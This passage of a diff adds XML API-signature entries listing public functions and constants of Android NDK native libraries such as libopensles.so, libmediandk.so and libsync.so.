+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateSemaphore" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDeviceWaitIdle" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdResetEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetDeviceMemoryCommitment" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkFreeMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libopensles.so" static="false" visibility="public">
+ <field deprecated="not deprecated" final="true" name="SL_IID_ANDROIDEFFECTSEND" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="LIBOPENSLES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_AUDIODECODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_METADATAEXTRACTION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_VISUALIZATION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_3DCOMMIT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_3DMACROSCOPIC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_BUFFERQUEUE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_EQUALIZER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_NULL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_ANDROIDCONFIGURATION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_AUDIOENCODER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_DYNAMICINTERFACEMANAGEMENT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_OBJECT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_ENGINECAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="slQueryNumSupportedEngineInterfaces" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_ENVIRONMENTALREVERB" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_MIDIMESSAGE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_3DLOCATION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_ENGINE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_RECORD" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_SEEK" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_PLAY" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_VOLUME" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_EFFECTSEND" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_DYNAMICSOURCE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_MIDIMUTESOLO" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_PREFETCHSTATUS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_DEVICEVOLUME" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_MUTESOLO" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_ANDROIDBUFFERQUEUESOURCE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_RATEPITCH" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_VIRTUALIZER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_ANDROIDEFFECT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_MIDITIME" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_OUTPUTMIX" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="slCreateEngine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_ANDROIDSIMPLEBUFFERQUEUE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_AUDIOENCODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_LED" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_THREADSYNC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="slQuerySupportedEngineInterfaces" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_PLAYBACKRATE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_METADATATRAVERSAL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_MIDITEMPO" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_VIBRA" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_3DDOPPLER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_3DGROUPING" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_AUDIOIODEVICECAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_3DSOURCE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_BASSBOOST" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_PITCH" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_ANDROIDEFFECTCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="SL_IID_PRESETREVERB" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libmediandk.so" static="false" visibility="public">
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_IS_FORCED_SUBTITLE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_restoreKeys" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_dequeueOutputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_MIME" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_getSecureStops" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getSampleFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getHeight" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_FRAME_RATE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_getFloat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_verify" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getTrackFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_configure" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_STRIDE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_getFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_FLAC_COMPRESSION_LEVEL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_setFloat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_newWithUsage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_HEIGHT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_setOutputSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_PUSH_BLANK_BUFFERS_ON_STOP" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_getInputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_deleteAsync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_getPropertyByteArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_getMaxImages" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_IS_AUTOSELECT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_createCodecByName" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_readSampleData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_getOutputFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_stop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getHardwareBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_getOutputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_releaseSecureStops" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_createDecoderByType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_MAX_INPUT_SIZE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCrypto_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_BIT_RATE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_signalEndOfInputStream" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_createByUUID" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_setImageListener" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_writeSampleData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_acquireLatestImageAsync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCrypto_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_getWindow" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_releaseOutputBufferAtTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBMEDIANDK" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_CHANNEL_COUNT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_REPEAT_PREVIOUS_FRAME_AFTER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_sign" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_acquireNextImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_getKey" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_unselectTrack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getNumberOfPlanes" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_openSession" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_COLOR_FORMAT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_MAX_HEIGHT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_decrypt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_setPropertyString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_IS_ADTS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_getIV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_getMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_getWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_releaseOutputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_queueInputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_setDataSource" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_getInt64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_addTrack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getTimestamp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_MAX_WIDTH" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCrypto_isCryptoSchemeSupported" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_setDataSourceFd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_CHANNEL_MASK" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_queryKeyStatus" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getPlaneRowStride" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_getBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_setInt64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_dequeueInputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_getString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_setBufferRemovedListener" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_LANGUAGE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCrypto_requiresSecureDecoderComponent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_getKeyRequest" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_getClearBytes" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_setOnEventListener" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_getSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_createPersistentInputSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getSampleCryptoInfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_encrypt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getSampleTrackIndex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_isCryptoSchemeSupported" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_getHeight" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getTrackCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_I_FRAME_INTERVAL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_WIDTH" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getCropRect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_setInputSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_SAMPLE_RATE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getPsshInfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_getInt32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_AAC_PROFILE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_setParameters" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_setLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_closeSession" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getPlanePixelStride" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_setBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_acquireNextImageAsync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_setInt32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_setString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_flush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_acquireLatestImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_advance" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_DURATION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_start" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_provideProvisionResponse" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_selectTrack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_getProvisionRequest" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_queueSecureInputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_stop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_start" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_toString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getSampleTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_provideKeyResponse" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_seekTo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_removeKeys" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getPlaneData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_IS_DEFAULT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_setPattern" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_getNumSubSamples" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_createInputSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_createEncoderByType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_getEncryptedBytes" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_setPropertyByteArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_getPropertyString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_setOrientationHint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libsync.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="sync_merge" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBSYNC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sync_file_info_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
